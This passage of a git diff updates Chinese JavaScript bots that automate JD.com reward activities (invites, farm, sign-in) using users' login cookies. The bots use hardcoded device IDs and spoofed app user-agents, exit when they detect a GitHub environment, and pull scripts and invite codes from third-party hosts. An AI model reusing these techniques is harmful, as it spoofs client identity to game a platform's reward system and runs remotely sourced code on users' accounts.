JSON.parse(data) + if (reust.code == 0) { + $.log(`即将开始邀请:${InviterPin}\n邀请获得金币: ` + reust.data.coinReward * 0.1 + "金币") + } else + console.log(reust.message) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function help2(name,code) { + return new Promise(async (resolve) => { + let options = { + url: `https://api.m.jd.com`, + body: `functionId=TaskInviteService&body={"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":"${code}","type":1}}&appid=market-task-h5&uuid=7303439343432346-7356431353233311&eu=7303439343432341&fv=7356431353233321&_t=1623475839367`, + headers: { + "Origin": "https://assignment.jd.com", + "Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/wifi;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/jkWXTyfQA2PDVmg3OkxOiWnHy7pHXWA |155;psq/12;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/36.36;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + console.log(options['body']) + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.code === 0) { + $.log(`赚金币助力【${name}】成功,感谢!`) + } else + console.log(reust.message) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +async function taskPostUrl(functionId, body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jx_nc.js b/jx_nc.js index b5b8a91..bf0a5d8 100755 --- a/jx_nc.js +++ b/jx_nc.js @@ -5,7 +5,7 @@ 无需京喜token,只需京东cookie即可. -京喜农场:脚本更新地址 jd_jxnc.js +京喜农场:脚本更新地址 https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jxnc.js 更新时间:2021-06-3 活动入口:京喜APP我的-京喜农场 东东农场活动链接:https://wqsh.jd.com/sns/201912/12/jxnc/detail.html?ptag=7155.9.32&smp=b47f4790d7b2a024e75279f55f6249b9&active=jdnc_1_chelizi1205_2 @@ -15,21 +15,21 @@ ==========================Quantumultx========================= [task_local] -0 9,12,18 * * * jd_jxnc.js, tag=京喜农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxnc.png, enabled=true +0 9,12,18 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jxnc.js, tag=京喜农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxnc.png, enabled=true =========================Loon============================= [Script] -cron "0 9,12,18 * * *" script-path=jd_jxnc.js,tag=京喜农场 +cron "0 9,12,18 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jxnc.js,tag=京喜农场 =========================Surge============================ -京喜农场 = type=cron,cronexp="0 9,12,18 * * *",timeout=3600,script-path=jd_jxnc.js +京喜农场 = type=cron,cronexp="0 9,12,18 * * *",timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jxnc.js =========================小火箭=========================== -京喜农场 = type=cron,script-path=jd_jxnc.js, cronexpr="0 9,12,18 * * *", timeout=3600, enable=true +京喜农场 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jxnc.js, cronexpr="0 9,12,18 * * *", timeout=3600, enable=true */ const $ = new Env('京喜农场'); let notify = ''; // nodejs 发送通知脚本 -let notifyLevel = $.isNode() ? process.env.JXNC_NOTIFY_LEVEL || 1 : 1; // 通知级别 0=只通知成熟;1=本次获得水滴>0;2=任务执行;3=任务执行+未种植种子; +let notifyLevel = $.isNode() ? process.env.JXNC_NOTIFY_LEVEL || 0 : 0; // 通知级别 0=只通知成熟;1=本次获得水滴>0;2=任务执行;3=任务执行+未种植种子; let notifyBool = true; // 代码内部使用,控制是否通知 let cookieArr = []; // 用户 cookie 数组 let currentCookie = ''; // 当前用户 cookie @@ -187,7 +187,7 @@ function requireConfig() { try { let options = { - "url": ``, + "url": `https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jxnc.txt`, "headers": { "Accept": "application/json,text/plain, */*", "Content-Type": "application/x-www-form-urlencoded", @@ -527,7 +527,7 @@ function getAssistUser() { return new Promise(resolve => { try { $.get({ - url: `https://api.ninesix.cc/api/jx-nc?active=${$.info.active}`, + url: `https://api.ninesix.cc/`, timeout: 10000 }, async (err, resp, _data) => { try { diff --git a/jx_sign.js b/jx_sign.js index a67a7d9..8dcf018 100755 --- a/jx_sign.js +++ b/jx_sign.js @@ -1,30 +1,45 @@ +// @grant require /* 京喜签到 +cron 20 1 * * * jx_sign.js +更新时间:2021-7-31 +活动入口:京喜APP-我的-京喜签到 + 已支持IOS双京东账号,Node.js支持N个京东账号 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js ============Quantumultx=============== [task_local] #京喜签到 -5 0 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jx_sign.js, tag=京喜签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +20 1 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js, tag=京喜签到, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true ================Loon============== [Script] -cron "5 0 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jx_sign.js,tag=京喜签到 +cron "20 1 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js,tag=京喜签到 ===============Surge================= -京喜签到 = type=cron,cronexp="5 0 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jx_sign.js +京喜签到 = type=cron,cronexp="20 1 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js ============小火箭========= -京喜签到 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jx_sign.js, cronexpr="5 0 * * *", timeout=3600, enable=true +京喜签到 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js, cronexpr="20 1 * * *", timeout=3600, enable=true */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, 